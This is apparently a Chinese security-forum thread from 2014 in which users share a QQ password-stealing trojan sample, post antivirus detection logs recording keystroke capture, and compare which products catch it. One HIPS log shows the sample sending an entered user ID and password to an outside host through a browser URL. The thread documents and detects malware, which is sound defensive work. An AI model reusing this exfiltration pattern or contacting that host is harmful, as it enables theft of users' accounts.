QQ盗号程序样本

显示全部楼层 · 发表于 2014-5-25 08:51:28

QQ盗号程序样本

显示全部楼层 · 发表于 2014-5-25 08:54:09

本帖最后由 vm001 于 2014-5-25 08:56 编辑

通过默认浏览器网页传出帐号密码..如果不拉黑，管家金山360全是哑火

-------------------------------------------------
X，金山云自动判黑了

显示全部楼层 · 发表于 2014-5-25 08:55:22

文件名: 急需订单.exe
威胁名称: SONAR.Heuristic.120
完整路径: 不可用

____________________________

详细信息
极少用户信任的文件, 极新的文件, 风险高

原始
下载自
未知

活动
已执行的操作: 5

____________________________

在电脑上的创建时间
2014/5/25 ( 8:58:32 )

上次使用时间
2014/5/25 ( 8:58:32 )

启动项目
否

已启动
是

____________________________

极少用户信任的文件
诺顿社区中有不到 5 名用户使用了此文件。

极新的文件
该文件已在不到 1 周前发行。

高
此文件具有高风险。

SONAR 主动防护监视电脑上的可疑程序活动。

____________________________

来源: 外部介质

源文件:
急需订单.exe

____________________________

文件操作

文件: f:\病毒\病毒\ 急需订单.exe 已删除
____________________________

注册表操作

注册表更改: HKEY_USERS\S-1-5-21-106302415-2046581659-3325157773-500\Software\ SogouInput.user->Used:1400979499 已修复
____________________________

系统设置操作

事件: 进程启动 (执行者 f:\病毒\病毒\急需订单.exe, PID:5320) 未采取操作
事件: 进程启动: f:\病毒\病毒\ 急需订单.exe, PID:5320 (执行者 f:\病毒\病毒\急需订单.exe, PID:5320) 未采取操作
____________________________

可疑操作

事件: 击键捕获 (执行者 f:\病毒\病毒\急需订单.exe, PID:5320) 未采取操作
____________________________

文件指纹 - SHA:
不可用
文件指纹 - MD5:
不可用

显示全部楼层 · 发表于 2014-5-25 09:03:46

本帖最后由 llcy 于 2014-5-25 09:21 编辑

密码框输入后，浏览器跳转页面，一闪........

是不是想获取密码啊

显示全部楼层 · 发表于 2014-5-25 09:26:33

QQ粘虫。。。已经采集

显示全部楼层 · 发表于 2014-5-25 09:32:03

360已经拉黑

显示全部楼层 · 发表于 2014-5-25 09:46:30

卡巴斯基MIS[:348:

显示全部楼层 · 发表于 2014-5-25 10:20:51

折腾哥发表于 2014-5-25 09:46
卡巴斯基MIS[:348:

淡定，你双击也会miss的

显示全部楼层 · 发表于 2014-5-25 11:08:05

Trojan:W32/DelfInject.R
C:\Users\Eric\Desktop\QQ盗号.rar

显示全部楼层 · 发表于 2014-5-25 11:13:19

本帖最后由 hddu 于 2014-5-25 11:18 编辑

不小心，输入了密码，怎好？

2014-05-25 10:33:15 运行应用程序操作:允许
进程路径:C:\Documents and Settings\Administrator\桌面\QQ盗号\急需订单.exe
文件路径:C:\Program Files\liebao\liebao.exe
命令行: "http://odwflg.hdfhkg.net/uio/pip.asp?U=iac57ujdf&userid=&pwd=小子别坑人了"
触发规则:应用程序规则->程序->?:\*

[病毒样本] QQ盗号程序样本

本帖子中包含更多资源

本帖子中包含更多资源

浏览过的版块